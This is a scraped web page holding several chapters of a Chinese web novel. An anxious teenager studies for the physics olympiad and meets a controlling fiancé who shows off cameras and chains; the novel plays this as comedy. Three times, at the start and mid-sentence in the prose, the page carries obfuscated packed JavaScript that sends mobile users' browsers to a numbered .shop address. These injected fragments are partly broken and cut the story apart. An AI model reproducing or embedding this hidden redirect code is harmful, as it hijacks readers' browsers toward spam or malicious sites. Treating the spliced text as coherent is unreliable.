RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195332|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“跑的。” 好在苏铭宇并没过分较真,接过注销证明,反手塞给他一张纸和笔后,就启动了车。 苏泽岁定睛一看—— “考虑一个原子序数为Z的经典原子模型,忽略电子间的相互作用。假设……” 苏泽岁:? “不是要学吗?做做?”苏铭宇目不斜视地打着方向盘。 苏泽岁穿越前已经是物院的大学生,完全与竞赛脱节,更何况他在穿越的过程中还忘了很多东西。 不过幸好这道题是初级难度,看到图的一瞬间,他的脑海中就自动浮现出受力分析图,以及好几个能量守恒和角动量守恒公式。 其实苏铭宇一直在用余光观察弟弟。 他知道自家弟弟向来想一出是一出,完全不考虑愿想是否能落地。他打算用一道有一定难度的竞赛题劝退弟弟,让他自己知难而退。 这道题的题目尤为长,数据多、字母杂,背景公式架构于陌生的大学知识之上。就算是竞赛生,看到这种题目都会想大吼大叫地把题目撕成两半。 那么他弟弟…… 苏铭宇余光一扫,握着方向盘的手僵了一下。 ——他弟弟居然已经读完题,正拿出了笔,在纸上认认真真、一丝不苟地写着。 苏铭宇:??? 车停到自家车库后,苏铭宇连进家门都等不及,就拿过弟弟递来的纸,满心疑惑地看起来—— 解题处居然不是画的王八小人线团,也不是骂他略略略他的话,而是清清楚楚的解题步骤。而且,步骤严谨,答案也是对的…… 这回轮到苏铭宇愣住了。 难道撞到头真能让人觉醒特殊天赋? 苏泽岁这时又拉了拉他的衣角,清澈漂亮的眼眸看向他:“要学。” 苏铭宇嘴角抽搐,勉强挤出一句:“学。” *** 苏泽岁看着面前堆成山的竞赛资料,恍惚之间,还以为又回到了备战CPHO的那诸多个夜晚。 唯一不一样的,就是这些书都是崭新的,他的脑子也恢复了半成新。 “岁岁想要高学历了?”苏父推了推眼镜,问道。 作为政界老狐狸,他阅人阅事无数,性子沉稳,处事波澜不惊。无论遇到多么离奇事,都能冷静地说上几句。 苏泽岁点头如捣蒜,然后用手指指了指哥哥。 “想和哥哥一个大学毕业?”苏父秒懂,“爸爸送你出去读个美高美本吧,回来直接保送A大,会轻松很多。” 苏泽岁摇头如拨浪鼓,指了指书,重复道:“我要学。” 眼见苏父还要劝,苏母白了他一眼:“相信岁岁,给教务处打电话。” 苏父无奈,顺着小儿子的心意拿出手机。 他有直系下属在市政府,轻易就拿到了苏泽岁高中教务处主任的电话。 开免提后,他把手机放在了桌上。 “喂?”姜主任接了电话。 苏父说明了来意,姜主任不敢怠慢,急忙拉来学校竞赛组组长,共同在电话里商议。 “苏先生,竞赛不是捷径,也不是上了就高高考生一等。这玩意,它讲究天赋……” 苏父看了眼紧张的小儿子,平静道:“我们已经考虑好了。既然孩子想上,我们就应该支持。” 组长还想劝:“物竞的绝大多数孩子从初三就开始准备了。苏泽岁开学还是高二,这时候文转理去学竞赛。你看,客观时间差距吧……” 苏父惊讶得张了下嘴。 他记得小儿子来来回回跳级又留级过好几次,今年的留级通知才到。他以为是重读高一,那时间还算充裕。 ……熊孩子什么时候升的高二? 苏泽岁软唇比他张得还大。 文转理?什么文转理? 怎么没人告诉他原主在高中原本学的是文科? 他是想走捷径,不是想被当成什么理科天才怪物抓起来研究啊啊啊啊。 4. 病娇 苏泽岁挣扎了一下。 他想报竞赛,还有一个重要原因——竞赛生可以理直气壮不去上课。 课堂上人太多了,靠得太近了。他害怕上课、害怕上学。 为了不去教室,他豁出去般,轻轻戳了戳苏父,一触即收。 苏父回过神来,随即安抚性地朝他点点头,对电话那头继续道:“这我们自有考量,你不用管。” 他的声音有着独属于长者的沉稳,能莫名给人一种可靠感和信赖感。 如果不是在这种离谱到没边的事上的话。 竞赛组组长脾气很有个性:“苏先生,如果您只是来通知我的,我没办法;但您要是来问我的建议的,说句真心话,我强烈反对。我带了这么多届竞赛生,从未遇到过这种情况。” “嗯,我知道了。” 兹事体大,苏父又和几人交换了一下眼神,心下确认后,刚准备开口,电话那边却先传来有些远去的声音—— “我能让他进来?他家那宝贝儿子是出了名的纨绔,打架翘课,欺负同学,目无尊长……叫多少次家长都没用!我只想教书,不想当熊孩子保姆。” “他家得罪不起。先把人放进来,再让他自生自灭,不就行了吗?”姜主任的声音有点远,但勉强能听清。 “哪有你想的那么简单?我们学校预赛名额就那么些,到时候他找关系要名额,你能不给?上考场考个鸭蛋,我不丢人?最烦这些富二代,自以为有点破权力就了不起,呵。” 两人似乎以为苏父应下后就挂了电话,口无遮拦,吐露内心真实想法。 苏父瞥了眼苏泽岁的脸色。 苏泽岁、苏泽岁他捂住了脸。 ……这不是他,别看他。 看到小儿子这副委屈模样,苏父一阵心疼,拿起手机:“背后议论学生、带主观情绪诋毁学生,这就是你学校老师的师德?什么叫作‘有点权力就了不起’?当初你们校长求我给学校实验楼拨款的时候,可不是这么说的。” “当初学校扩建的时候我们家捐了多少钱?没有捐款你上哪辅导竞赛?现在跟我说最烦富二代?他妈的。” 电话那头的抱怨声瞬间消失,陷入了死一般的沉默。 …… 最后,还是姜主任按着组长的头,两人齐刷刷给苏泽岁道歉了。 但组长的语气听上去似乎依旧不服气:“苏先生,我们预赛选拔公开透明。我不认为苏泽岁能在短短一年时间内达到竞赛水平,也绝不会给他开后门。” 苏父皱了皱眉:“开后门?这种词你也敢挂在嘴边到处乱说?” 姜还是老的辣。 他一句话把组长堵得半天憋不出下文。 姜主任急忙打圆场,欲言又止道:“苏先生,我们也是为了孩子好。预赛当天有媒体采访,到时候,你看……” 组长打直球:“我们师资力量有限,庙小装不下大佛。” 就差把“拒绝”两字拿喇叭喊了,姜主任恨不得捂住他的嘴。 苏泽岁却听得很认真,闻言,他又戳了戳还欲开口的爸爸,绷着小脸道:“自学。” “你要自学?”苏父诧异地转头。 苏泽岁点了点头。 他上辈子就是跟着网课自学的。 “好!好极了!”组长突兀地鼓掌,好像生怕他反悔似的,“这是最好的选择。我们准高二组暑假已经在学波动光学和相对论了,零基础肯定跟不上。你自学打打基础,说不定明年能赶上高一学生的水平。” 他觉得苏泽岁肯定是在负气耍小脾气,妄图用“自学”来威胁大人、表达自己的不满。 但他又不是苏泽岁父母,才不惯着他。 他觉得自己肯定戳中对方的痛处了,因为电话那头好一会没说话。但他不仅不后怕,反而觉得很爽。他最讨厌智商低下还趾高气昂的纨绔子弟了。 苏泽岁正在组织语言。 好久好久没有说过这么长的话了,他要在嘴里好好把主谓宾捋一捋。 时间一分一秒过去,就在苏父都打算替小儿子好好出个头的时候,客厅里响起少年清亮的嗓音,声色轻软,但字字铿锵—— “我不等明年。我要去今年九月的CPHO。” 长痛不如短痛。当怪物可,上学达咩。 “什么?!”客厅的视线齐刷刷向他投去,就连一贯自持的竞赛组组长都忍不住发出了诧异的呼声。 但几秒后,电话里又传来他的嗤笑声,像是听到了什么可笑的笑话,不屑道:“好。8月20号有场校考,竞赛生都会参加,如果你自信能一个多月就超过准备多年的高三竞赛生,就来试试。我这里有点急事,先挂了。” 电话被冷漠地挂断。 苏家全家中都沉浸在苏泽岁的话带来的震撼中。 只有苏泽岁,见社交终于结束,轻轻呼了口气,然后乖巧地去搬桌上摞成山的教辅,打算把它们抱到自己房里的书架上。 苏铭宇站起身,帮他搬起比砖厚的书:“有不懂的来问哥哥,哥哥以前也学的这个。” 苏父苏母也反应了过来。 苏母:“妈妈相信你。无论你做什么决定我都支持。” 苏父重新拿起电话:“我给你约市金牌教练录课,到时候你看网课自学。” 苏泽岁动作愣在了空中。 他的人生字典早已将“社交”二字除名,这就意味着他的情绪感知力非常、非常迟钝。 所以直到现在,他才后知后觉地感受到了被人爱着的感觉。让人心里暖洋洋的,鼻头酸酸的。 但是家人的爱是真的,事业繁忙也是真的。 短暂陪他度过一个愉快的生日周,又带他去医院做了体检,确认他精神状态正在改善后,苏父苏母又要各地飞了。 苏铭宇自大学本科毕业就接手了家族企业,也同样忙得脚不落地。 偌大的房子里又只剩下了苏泽岁一个人。 幸运的是,由于苏父苏母都不喜吵闹,这个房子里没有长期的固定佣人,只有钟点工,定时来家里打扫卫生、做午晚餐。 苏泽岁在钟点工来的时候缩在卧室里,等人走了,才出来开心地吃饭。 除了很想念爸爸妈妈和哥哥,他还有更苦恼的事情—— 看不懂竞赛题了。 什么麦克斯韦方程组、亥姆霍兹分解、薛定谔方程、泊松方程……听名字,很熟悉;一看公式,非常陌生。 为了一个多月后的市一中校考,除了吃饭睡觉,他都在恶补知识点。 但是,竞赛它自带防自学系统,而爸爸让教练加班加点录的教学视频又还没做好,所以苏泽岁常一道难题解析看几个小时,然后看着看着就趴在桌上睡着了。 他又回到了恶劣的梦境里,被奇奇怪怪的人追杀。可是这回,他莫名有了不慌不忙的底气,连跑都不带跑的。 果然,在坏人靠近他的时候,突然天降光明使者,用耀眼的正义圣光击退了他们。 消灭邪恶后,光明使者转身看向他,露出那张在Speedsters俱乐部中给他留下深刻印象的帅脸,嗓音温柔:“上帝保佑你。” 梦境到此为止。 苏泽岁从梦中醒来,看着被自己口水打湿的竞赛书,觉得这个噩梦有点意犹未尽。 他拿起坠着卡通白兔的笔,在书本干净的地方,写下了上次看到的、男人的名字,然后鼓着脸颊,自顾自欣赏起来。 ……他当时应该找对方要个联系方式的。 茫茫A市,他们被淹没在人海里,应该不会再有任何交集了。 他遗憾地瘪了瘪嘴。 梦醒之后,就又要回到现实的题海中—— 他攒了几道实在看不懂答案解析的超纲题,打算一齐去问哥哥。 这天,正好哥哥和妈妈都要回家。 苏泽岁盘腿坐在客厅的地毯上,教材放在茶几上,不断写写画画,等着餐厅的两人讨论完,就去问哥哥题目。 …… “你什么也别跟我说,”苏母压低了声音,“我今天就是为了这件事回来的。” 苏铭宇冷静道:“婚约尚在,未见一面就贸然拒绝,传出去对苏泽岁的名声也不好。” “我亲自去见他,还不够诚意?还要怎样?” 苏铭宇:“到时候再说我们溺爱孩子,说岁岁恃宠而骄,就不算败坏名声了?” 苏母有些生气,声音不受控制地抬了些许:“名声重要还是岁岁命重要?我又打听了一番,所有人都说顾家那孩子可怕、暴力、怪物,家里遍布黑洞洞的摄像头。他不仅控制顾家分支,还要操控他的父母!简直冷血无耻,占有欲到了变态的地步。” 苏铭宇面无表情道:“他不是那样的人。” “他私底下是什么样的人,你了解吗?”苏母道,“我告诉你,他曾冷笑着说要把未来妻子当金丝雀养,关在房里到死都不让出来。因为这样就能让对方彻底与社会脱节、变成只能依附于他过活的废物!这是他亲口所说。你还要让你本就精神受损 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195333|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的弟弟往火坑里跳吗?” 苏铭宇默然。 他的余光扫过不远处的苏泽岁。 少年似乎做题做到走神,正在拨弄笔坠上的小白兔挂件,看起来天真又呆萌,好像随便点恐吓都能让他吓到躲起来,瑟瑟发抖,再也不敢出来。 他本想用这场相亲来挫一挫苏泽岁的锐气,至少让小孩见识一下外人的冷漠无情,治治他“天上地下劳资最大”的脾性。 但现在,他第一次犹豫了。 以他弟弟精神受损后的性子,或许真的很不适合去。 …… 其实苏泽岁一直在偷听。从哥哥提到“婚约”开始。 他本来还很害怕,因为婚约意味着要见陌生人。直到听到妈妈的话—— 金丝雀、到死不出门、与社会脱节……不用社交,一辈子只用跟未婚夫一个人打交道。 苏泽岁有点心动了。 但他坐等右等,却等不到哥哥的下文。 他有点着急,就拿着几道早准备好的、不会做的题目,“啪嗒啪嗒”跑到两人面前,拉了拉哥哥的衣角。 “嗯?怎么了?”几天下来,苏铭宇已经下意识在跟弟弟说话时放柔声音了。 苏泽岁双手举了举竞赛书示意:“有事。” 苏母温柔地笑笑,欲往玄关走去:“那岁岁跟哥哥先聊着,妈妈有事出趟门。” 事态发展失控,苏泽岁急忙放下竞赛书,开口喊了声:“妈妈。” 苏母立刻停下了脚步,苏泽岁平时也会喊她,但很少有喊得这么大声,这么干脆的。 “婚、约。” 苏泽岁怕妈妈等不到他说话就走了,小手指了指自己,想到什么说什么道:“要去。” 他话少得不成句但字字惊人,苏母和苏铭宇都愣在了原地。 “偷听哥哥和妈妈说话了?”苏铭宇看着面前单纯得像白纸的弟弟,皱眉道:“还是让妈妈去处理这件事吧。我又细想了一下,顾熠阑他确实不适合你见。你……” 听到前半段,苏泽岁还有点生气地鼓了鼓白皙的脸颊。 直到听到了那个名字,他身形一顿,仿佛被钉锤敲了下小脑袋瓜子,心跳如鼓噪,脑中冒出了一个他想都不敢想的猜测。 他手心出汗,有点使不上劲儿,干脆把书和笔都塞到哥哥手里。 “哥哥,”苏泽岁眼眸亮晶晶的,“叫什么?” 眼见哥哥一脸懵圈,手中的笔顿了下就要在书的空白处写下“苏铭宇”三个字,苏泽岁心急地拉了下哥哥:“他、叫什么?” 苏铭宇对此不解,但也按照苏泽岁要求写下了“顾熠阑”的名字,甚至还给他读了遍:“gù yì lán,他叫这个。怎么了?” 看到那个熟悉的名字,苏泽岁不假思索又道:“去。” 怕哥哥和妈妈没听到,他又用乖软的嗓音重复:“岁岁要去。” 苏母好半天才从瞠目结舌的状态中缓过来:“岁岁认错人了吧?顾熠阑是哥哥的大学同学,他不是什么好人,我们不见啊,乖。” 苏泽岁眼眸更亮了,看向哥哥:“同学?” 苏铭宇硬着头皮道:“当年我们专业A大就开了一个班,他算是我的同班同学。” 苏泽岁看着哥哥手上的竞赛书。 哥哥跟他一个专业,顾熠阑跟哥哥一个专业,那么……! 苏铭宇本就与顾熠阑订好了这周末见面,不好违约;苏母又向来宠小儿子,在商界雷厉风行的她,一到苏泽岁这里,就原则全无。 被只会“要去要去”的小复读机一缠,没过多久,两人就举双手投降,无可奈何地妥协了。 苏铭宇无奈地摇了摇头:“行,不撞南墙不回头。那你就周末亲自去见见他。” “一开始不是说有事?说吧,找哥哥什么事?” 他翻了翻弟弟塞到他手里的竞赛书,纸张皱皱的,忽略掉空白处涂鸦的各种卡通画,也能看出小孩真的有在好好学习。 苏铭宇发现书中有几页折了角,许是弟弟有看不懂题目的想问他。 他翻到折角页,正要细看题目,好好给弟弟答疑解惑,书突然被人抽走了。 “没事了。”苏泽岁拿书的时候,没忘了趁哥哥发愣把自己的笔也抽回来。 他绷着小脸,拿着笔抱着书,“啪嗒啪嗒”又跑回了自己的卧室里,轻轻关上了门。 看着那紧闭的房门,和自己倏然空了的双手,苏铭宇:“?” 苏铭宇:“……” 5. 囚笼 两天时间转瞬即逝。 苏铭宇特地请了一天假,开车送弟弟去顾熠阑家,或者更准确来说,送弟弟相亲。 说来奇怪,明明他弟弟已经成年,但“相亲”这个词放在他身上,还是总感觉非常违和。 苏铭宇余光扫了下副驾驶—— 少年的白色衬衫面料柔软,勾勒出他纤细的身体线条,胸口处还绣着一个出水小海豚,简约而清新,蓝色短裤下,是一双又直又细的双腿,在阳光下白得晃眼。 小家伙正在整理不知道抚平了多少次的衣服,小嘴自上车就不知道在叽里咕噜地说些什么。 苏铭宇至今都不明白连家门都宁死不出的弟弟,为何会同意跑这么一趟。 思来想去,只能将其归结于弟弟看到了他和母亲争执,所以于心不忍,为了家庭和谐,决定英勇就义。 苏铭宇莫名有点小感动,安慰弟弟道:“别理衣服了,已经够好看了。保管吓跑顾熠阑。” 苏泽岁咕哝的见面开场白被打断,听到这话,气鼓鼓地鼓起脸颊,偷摸摸瞪了哥哥一眼。 他胳膊上有块烧伤留下的疤,妈妈解释说是小时候一场车祸不小心留下的。 伤疤位置靠上,就算是短袖也能遮住大半,更别提他今天穿的还是长袖衬衣了。 但他还是有些不自信,下意识想再把袖子再往下拉拉。可回想到哥哥的话,他又生硬地将动作顿在半空,转而去翻自己的小背包,看看东西有没有带齐。 他去Speedsters俱乐部时背的就是这个包,这回,里面除了装了他想带的东西外,还放了个定位器。 那是妈妈放进去的。因为担心他被坏人拐走卖了。 苏铭宇虽然没有苏母这么离谱,但该嘱托的还是要好好嘱托:“到了他家后,你就当参观豪宅,别太投入,有话好好说。” 说到一半,他突然想起来,以他弟弟现在乖软的性子,不可能去骂顾熠阑,甚至反而会被对方吓成只知道发抖的小傻子。于是他又补充道:“有事给哥哥打电话。” “参观完哥哥就来接你。”苏铭宇道,“哦对了,忘了最重要的一点。来跟哥哥学——‘你很好,但对不起,我们不合适’。” 苏泽岁才不要学。 他鼓着脸看着窗外,假装没听见。 苏铭宇也不恼,继续补充道:“还有,顾熠阑他很不喜欢和别人肢体接触,你最好别碰到他。” 闻言,苏泽岁脑海中浮现出在俱乐部的那天——名为Rocco的坏人攥住了顾熠阑的手腕,周围人就如临大敌地倒吸凉气。再然后,Rocco的胳膊就被残忍地拧折了。 ……原来是这个原因。 他若有所思点了点头。 黑色库里南在市中心穿行,在某个黄金地段停下,由保安放行后,转弯进入了一个豪宅区。 清风穿林而过,乍一感受,还以为进了什么私家园林。视金钱如废纸的下沉式设计,让这里绿化面积达到了惊人的百分之七十。 车行驶一路,基本没遇到什么人,是一个很适合社恐居住的地方。 就在苏泽岁趴在窗沿看风景时,车又一次停了。 “到了。”苏铭宇提醒道,“去吧,有事打电话。” 苏泽岁愣了一下,下意识朝着这块区域唯一的建筑望去—— 欧式古典别墅矗立于林木之间,精雕细琢,于闹市中,硬是靠自身风格显出远离尘世的疏离感与高贵感。 别墅门口半倚着一个身高腿长的男人,远远的看不清面容,那挺拔的身影宛若避世的孤狼,气场强大而压抑。 苏泽岁小手冒汗。 这回他没有戴口罩和帽子,就算面对嗓音好听又善良正义的顾熠阑,也有点为社交而心慌。 他握紧小手,跳下车,走了过去。 顾熠阑等了有一会了。 手机在他手里震个不停—— 【管家:顾先生,要不你在客厅坐着等。苏家那小少爷在苏家被惯得不行,不一定会准时赴约】 【管家:那小孩性子倔、脾气大,家里人又宠,无论多重要的事,只要他不想干,他父母都会代为出面。此次愿意来约会,看来顾先生还是名扬万里、魅力无限!】 顾熠阑冷笑了下。 所谓“约会”,其实也就是陪孩子玩过家家。等吓跑了熊孩子,再去处理成堆的杂事也无所谓。 顾熠阑垂眸看着手机,略微出神。 再一抬眼,就对上了一双正好奇看着他的、亮晶晶的眼眸。 顾熠阑:“……” 跟他视线一交错上,面前少年长而浓密的睫毛就轻微地颤动了一下,似乎在紧张。 ……有种说不上来的熟悉感。 顾熠阑蹙了蹙眉头,视线上下一扫,不动声色地打量完比他矮快一个头的少年,直到注意到少年背后的小背包。 ——他见过的,一模一样。就在几天前的俱乐部里。 就在此时,他的手机震动了一下,微信弹出一条信息—— 【苏铭宇:我弟弟过去了,他胆子小,你悠着点,小心别把他真吓着了】 顾熠阑:“…………” 换了一分钟前,他会面无表情地看完这条信息,把苏铭宇拉黑再把他弟弟轰走。 现在…… 面前的少年肌肤白皙,脖颈纤细,小脸红润,仰头时,漂亮的眼眸中只映着他一人,注意到他的视线,拘谨地朝他挥了挥手。 顾熠阑薄唇抿成一条直线,冷着嗓音,极为罕见地劝人道:“你回去吧。” 苏泽岁耳根一软,感觉对方低沉的嗓音从耳朵里灌进去,冲上天灵感,让他浑身酥麻麻的,也让他忘了在车上练习半天的开场白。 他细细感受了几秒,然后才疑惑地看向对方。 顾熠阑默然了片刻,站直身体,用下巴指了指大门,冷冷威胁道:“进去了,就别想出来。” 苏泽岁:“!” 现在进去就可以不出来了吗?可妈妈不是说结完婚才会…… 见男人依旧站在门前没动,苏泽岁也指了指大门,终于说了见面来的第一句话:“进。” 顾熠阑皱眉,沉着嗓音,不耐烦道:“Speedsters俱乐部是我的地盘,帮你是为了处理俱乐部里混杂的垃圾,仅此而已。真实的我,你不会想认识的。回去找你哥哥去。” 苏泽岁听完了,但没听懂。 “真实”的他? 妈妈说的“冷血无耻,占有欲变态……养金丝雀……”难道是假传闻吗? 眼见男人拿着手机就要给他哥哥发信息,苏泽岁不敢触碰他,只能在原地疯狂摇头,像个小拨浪鼓。 顾熠阑眉头紧拧。 他大拇指按在门上的指纹锁上,然后动作利落地“轰”地一把推开沉重的欧式大门。 随着“咔咔”两声,玄关和客厅四方八个声感摄像头瞬间调转了方向,直勾勾地对着门口的两人,像是几双黑洞洞的眼睛,让人不寒而栗。 “回去吗?”顾熠阑又问道。 苏泽岁本来都迈开腿要往里走了,闻言,又顿住脚步,不解地摇了摇头。 顾熠阑收起手机,沉默着大步往里走,苏泽岁急忙跟上。 越过玄关,映入眼帘的,是一张挂在客厅最显眼位置的时间安排表—— 7:00 起床 7:20 早餐 7:50 工作 11:30 午餐 …… 23:30 睡觉 注意到少年的视线,顾熠阑道:“这个房子里,所有人,必须遵循我的规定。” 似是觉得仍旧不够吓人,他又走到信号屏蔽仪前,道:“除了特定休息时间,其余任何时间,不允许联网,不允许使用智能设备。” 听他这么一说,苏泽岁这才注意到,时间表上还有个奇怪的时间点——“19:20 看电视”。 许是担心家里的佣人与社会脱节,所以安排特定的时间组织他们看晚间新闻,就像监狱里那样。 但要让苏泽岁选,他会选择看蜡笔小新。 突然,苏泽岁像是想到什么似的,从小背包里掏了两下,摸出自己的手机,递了过去:“给你。” 顾熠阑眸色微凝,没有接:“现在不用。” 苏泽岁只当是以后结完婚才用,点点头把手机收了回去。 他的小包里装着各色绷带,既然已经打开,他就顺便左挑右选了一下,从中拿出一个印着卡通白兔的绷带,又递了过去:“包扎。” 顾熠阑不想接。 但他余光中瞥见,小家伙的包里花里胡哨的一片。 对比之下,这个和绷带同为纯白色的白兔图案已经算是里面最和谐的了。 “防水,”见男人不接,苏泽岁补充道,“好用。” 说完,他还用绷带指了指自己的胳膊。 顾熠阑拿过。 就在他碰到绷带时,少年的手触电般迅速收了回去,缩回身边,捻了捻指尖,似乎在紧张些什么。 顾熠阑面不改色地收回自己悬在空中的手,对此没做任何反应。 苏泽岁却在偷偷心道好险。 ……好险,只差一点,就指尖对指尖地碰上了。 “晚上、”苏泽岁道,“用。” “嗯。”顾熠阑抬手将绷带放在客厅的架子上。 “还有,”苏泽岁抬头看向他道,“谢谢你,上次。” 少年眉眼轻轻弯起,眼里的局促被感激取代,在顶灯的照射下,晶莹剔透,像颜色浅淡的宝石。 顾熠阑顿了下,道:“嗯。” 同样的借口,对无所谓的人,他懒得说第二次。 客厅大概转了下,苏泽岁跟着男人走到了监控室门口。 只见顾熠阑手指按在指纹锁上,输入进入人数“2”,然后轰然推开了门—— 弧形的液晶显示屏铺面了整个房间,高清无声,一览无余。坐在转椅上的管家,正目不转睛地盯着每一块屏幕的走向。 监控室灯光偏暗,显出压抑的氛围。给人一种错觉,就好像屏幕里都是npc,一旦不按照规定的时间表做事,就会被当作伪劣品,暗中处理掉。 苏泽岁倏地窜到男人背后,只露出一个脑袋,瑟瑟发抖地看着转椅上的管家。 ……怎么、怎么有陌生人。 “所有房间都在这里,24小时轮班值守。”顾熠阑侧首,恐吓道,“再有能耐,也插翅难飞。” 苏泽岁半躲在男人身后进了门,一边偷偷害怕,一边乖巧点头。 见中年男人起身走来,他心跳瞬间加速。 “苏小少爷,你好。我是这里的管家。”管家伸出手。 许是中年男人慈眉善目的样子格外和蔼可亲,让他想起了自己的爸爸,又或许是“管家”这个身份给他的印象一直很好。苏泽岁心里的大石头落地,轻轻跟对方握了下手。 对方的手温暖而有力,不像是坏人。 在顾熠阑示意下,苏泽岁勇敢地迈出了脚步,参观起监控室。 除了满墙的监控录像外,墙壁的正中央还有一块计数屏,记录着每个房间的实时人数,应该跟每次进房都要指纹认证、输入人数有关。 苏泽岁觉得很有安全感,有人出了意外,就能及时赶过去救他。他在偌大的监控室逛着,理所当然地把这个安全保障当成了员工福利。 趁少年参观的时候,管家压低声音对顾熠阑道:“顾红惠那边又打电话过来了,她言辞切切,托您一定要把她家小孩保进A大读研,不然真的走投无路了。” 顾熠阑冷冷道:“我只是在A大读博,不是A大招生办主任。” 管家回忆起连导师都对男人恭恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195334|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬敬的态度,心说您比招生办主任管用多了。 但他口中却仍然尊敬地道:“她查了您的背景,不好忽悠。她想让您通过协会,给孩子出一张推荐信,这样至少有八成把握保送成功。” 顾熠阑冷笑了一声。 管家刚欲开口,又倏地噤了声。 因为那个一直在监控室乱逛的小少爷突然回头看向他,然后径直走了过来。 苏泽岁站到两人跟前,期待地看着管家,软唇轻张提醒道:“好久没……” 管家却一头雾水:“怎、怎么了??” 什么“好久没”?这什么断句,主谓宾在哪? 见他不按书里说话,苏泽岁皱了皱小脸,有些社恐,但还是补充道:“没见到。” 他还没来得及一卡一卡地将“少爷笑了”几个字加载出来,就先被顾熠阑打断了:“他不会说这个。” 管家依旧满脸懵圈,但嘴比脑子快:“哎对对对,这些年轻人的东西我不太会,苏小少爷真是不好意思啊。” “去吧。”顾熠阑用下巴指了指门,打发了人。 管家抓住了救命稻草,忙不迭应下,逃一般地跑出了监控室。 显示屏淡灰色的光从上投下,切割出沉暗的光影,映在监控室唯二两个人的身上。 苏泽岁失去了目标,就只能将晶亮的眼眸看向身旁的男人,像是在等他也说些什么。 顾熠阑面无表情地移开视线:“又看我做什么?” 苏泽岁抿了抿软唇,道:“你会。” 沉默在监控室中弥漫了一会儿。 顾熠阑冻着脸,挑眉嘲讽道:“‘我不需要很多钱,我需要很多爱’。这样?” 少年身上一直有种说不上来的割裂感,就好像,他对这个世界的所有认知都来源于小说与网络。 苏泽岁弯着眉眼,捂嘴轻轻笑了声。 顾熠阑转身:“走了。” 少年的胆子比预料中的大。顾熠阑转了个弯,带他去了某个侧卧。 这间侧卧没有窗子,只有排气扇在呼呼作响。 阳光照不进这里,不开灯的时候,漆黑黑的一片,像是望不见底的血盆大口,阴森可怖。 顾熠阑打开灯。 只见高大的檀木书柜立在房间两侧,夹住了中间狭长的木床。漆黑的监控自进门便盯紧了他们,无端带来的压迫感,让人喘不上来气。 “这……”苏泽岁新奇地打量四周。 顾熠阑言简意赅:“婚房。” 他走到柜子前,“呼”地一下打开柜门,柜子里泛着森寒光泽的铁锁、链条、项圈就倏然映入了苏泽岁眼眸中,在浅淡的眼睛中留下银白色的光点。 顾熠阑眯了眯眼,语气危险:“我无法忍受任何人任何事失去控制。所以,必要的时候,我会用尽一切手段,控制失控的人。” “比如,让他永远不能离开我划定的区域,直到死。” 苏泽岁也走上前。 他的视线在手铐和自己白细的手腕上来回移动,实话实说地评价:“大。” 顾熠阑:“……” 比划完,苏泽岁又看向他,由衷地好奇道:“真的、不出去?” “既谓之金丝雀,自然服务我一人就够了。为什么要出去?”顾熠阑垂着眼眸,修长的手指拨动着锁链,语气淡淡,“吃什么,说什么,做什么,都该被操控。” 铁链碰撞发出的“哗啦啦”声格外骇人,但突然“啪”地一下,铁链中掉下来一个玩偶。 一个手铐玩偶。 单看可能不出彩,但放在这么多该被糊上马赛克的铁质产品中,就还显得……还怪可爱的。 顾熠阑:“…………” 他让管家随便布置一下侧卧。没想到对方能这么随便。 “送你了。”顾熠阑指尖提溜起玩偶,转过身,脸色冻人地递向身旁的少年。 少年一惊,倏然后仰,往后踉跄了一小步,避开了他靠的极近的手。然后才伸出双手,小心捧过他递来的玩偶。 借着身高优势,顾熠阑轻易地看到少年掌心湿漉漉的水光,不知是紧张还是恐惧造成的。 ……原来还是知道怕的。 超出认知范围的恐吓属实过于骇人,一点点已足够。再下去,娇气包估计要吓出心理阴影了。 顾熠阑看了眼时间,给苏铭宇发了个信息,然后掀起眼皮,对少年淡淡道:“好了,今天到此为止。” 苏泽岁将手铐玩偶装进小包里,还有些惊魂未定。 刚才看柜子里的东西时靠得太近了,若不是他躲得快,恐怕对方的手就会擦碰到他的肩膀。才见第二面,他不想做对方喜欢的事,给对方留下不好的印象。 “还有别的事吗?”顾熠阑已经打算送人出门了。 苏泽岁愣了一下,然后思索了一分钟,才又点点头。 他在浅蓝的短裤上擦擦手心的汗,又在小包里翻了起来。 然后,顾熠阑就眼睁睁地看着他从包里掏出一本厚如砖头的《中学奥林匹克竞赛物理教程》。 顾熠阑:“。” 苏泽岁将书放到他眼底,首先翻开书皮,指了指扉页上那工工整整、一笔一划写下的他的名字。 顾熠阑瘫着脸点了点头,表示自己记下了。 他私以为再怎么都该到此为止了——两人互换姓名,算是萍水相逢,以后再无交集。 但少年的动作告诉他还没完。 苏泽岁又把竞赛书往后翻了翻。 竞赛书又大又厚,趁得他的手格外小,翻起纸张来也格外吃力。好在书里有些页面被折了角,应该是做的标记,很容易被翻到。 顾熠阑只见苏泽岁小手一抬,指向某张折角页上又臭又长的题目:“这个、不会。” 然后抬眸看向他,浅淡的眼眸中闪着期待的光。 顾熠阑:“?” 6. 家长 